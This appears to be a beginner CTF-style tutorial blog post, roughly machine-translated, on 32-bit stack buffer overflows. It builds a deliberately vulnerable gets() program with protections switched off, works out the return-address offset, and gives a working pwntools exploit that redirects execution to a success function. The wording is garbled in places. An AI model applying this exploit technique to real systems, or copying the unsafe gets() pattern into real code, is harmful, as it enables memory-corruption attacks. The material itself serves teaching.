PWN entry series (2)
Stack overflow
Stack overflow means that the number of bytes written by the program to a variable in the stack exceeds the number of bytes applied by the variable itself, resulting in the value of the variable in the adjacent stack being changed (overwritten). It is a specific buffer overflow vulnerability, similar to heap, bss overflow, etc. The premise is:
·
- The program must write data to the stack
- The program does not control the size of the input data of a function or a module properly.
Basic example
Take a simple example:
#include <stdio.h> #include <string.h> void success() { puts("You Hava already learned it "); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
The meaning of the program is very simple. It mainly reads the string and then outputs it. However, we hope to control the success function to output "you learned stack overflow"
We use the command to compile:
gcc -m32 -fno-stack-protector stack-example.c -o stack-example
It is found that the report is wrong???
In file included from /usr/include/stdio.h:27:0, from stack-example.c:1: /usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory compilation terminated.
This is due to the error of compiling 32-bit programs in 64 bit Ubuntu system
resolvent:
Download the 32-bit compiler library
sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386
Run the command again after installation:
gcc -m32 -fno-stack-protector stack-example.c -o stack-example
Compilation succeeded!
In gcc compilation instructions
-m32 refers to generating 32-bit programs
-Fno stack protector is a stack overflow protection measure that is not enabled
That is, canary is not generated (you will find this in checksec)
We can use gcc -v to see some parameters of gcc
In order to introduce the utilization of overflow more conveniently, you must close the PIE and use the instruction GCC - no PIE
After successful compilation
Use the checksec tool to check the compiled file:
checksec stack-example [*] '/home/giantbranch/Desktop/stack-example' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
It can be seen that PIE protection is not enabled. In addition, there is ASLR(Address space layout randomization) under LInux, that is, the mechanism of address randomization. In short, even if PIE protection is enabled, if the system does not enable ASLR, the base address cannot be disrupted.
After checking sec, use IDA PRO to decompile the binary program and check the vulnerable function
Drag the program into IDA pro-32
View the function and press f5 to decompile
int vulnerable() { char s; // [sp+4h] [bp-14h]@1 gets(&s); return puts(&s); }
The distance between the string s read by this culvert number and ebp is 0x14
The corresponding structure is:
±----------------+
|Return address|
±----------------+
| saved ebp |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+
And we can also get the address of success
by
So if the string S we read is
0x14*'a'+'bbbb'+success_addr
that
Since the feature of the gets function is to read / n, i.e. enter, then we can use 14 a to overwrite s to ebp, and then save_ Write bbbb in ebp, and then overwrite retaddr with success - addr
PWN program can be dropped
At this time, the corresponding stack structure is:
±----------------+
| 0x0804843B |
±----------------+
| bbbb |
ebp—>±----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>±----------------+
It should be noted that
In the computer memory, each value is stored in bytes. Generally, 32-bit programs are stored in small end order, that is
success_ The form of addr (0x0804843b) in memory is
\x3b\x84\x04\x08
However, we can't input these addresses directly in the terminal, because when we input \. X is also a single character, so we should try to input \ x3b as a character. At this time, we should use a library dedicated to PWN under python
pwntools!
Basic usage of pwntools:
send(data): send data sendline(data) : Sending a line of data is equivalent to adding at the end\n recv(numb=4096, timeout=default) : The number of bytes received is given,timeout Specify timeout recvuntil(delims, drop=False) : Received delims of pattern recvline(keepends=True) : Received\n,keepends Specify retention\n recvall() : Received EOF recvrepeat(timeout=default) : Received EOF or timeout interactive() : And shell interactive
ELF file
e = ELF('/bin/cat') print hex(e.address) # Base address of file mount 0x400000 print hex(e.symbols['write']) # Function address 0x401680 print hex(e.got['write']) # Address of GOT table 0x60b070 print hex(e.plt['write']) # Address of PLT 0x401680
Commonly used in problem solving
context.arch = 'amd64' //Set schema context.log_level = 'debug' //Show log details libc = ELF('./libc-2.24.so') //Load library file
The basic knowledge about pwntools is network transportation, not original.
The basic EXP made by pwntools is as follows:
##coding=utf8 from pwn import * ## Construct objects that interact with programs sh = process('./stack-example') success_addr = 0x0804843b ## Construct payload payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) print p32(success_addr) ## Send string to program sh.sendline(payload) ## Convert code interaction to manual interaction sh.interactive()
Execute under Ubuntu and you can see:
You can see that we have successfully executed the success function!
PWN!!
summary
(1) Find hazard function:
input
gets,Read one line directly and ignore'\x00' scanf vscanf
output
sprintf
character string
strcpy,String copy, encountered'\x00'stop it strcat,String splicing, encountered'\x00'stop it bcopy
Then find the distance between the operated address and the address we need to cover. The usual method is to use IDA to check and calculate the address offset by ourselves. General variables have the following index modes
- The index relative to the stack base address can be obtained directly by viewing the EBP relative offset
- The index corresponding to the stack top pointer generally needs to be debugged, and then it will be converted to the first type.
- Direct address index is equivalent to giving an address directly.
We will have the following coverage requirements: - Override the return address of the function and check the EBP
- Override the contents of a variable on the stack, such as int overflow in the attack and defense world novice zone
- Overwrite the contents of specific variables or addresses according to the actual implementation
That's all for a simple understanding of overflow~~~
If you have any questions, please chat with the blogger ~!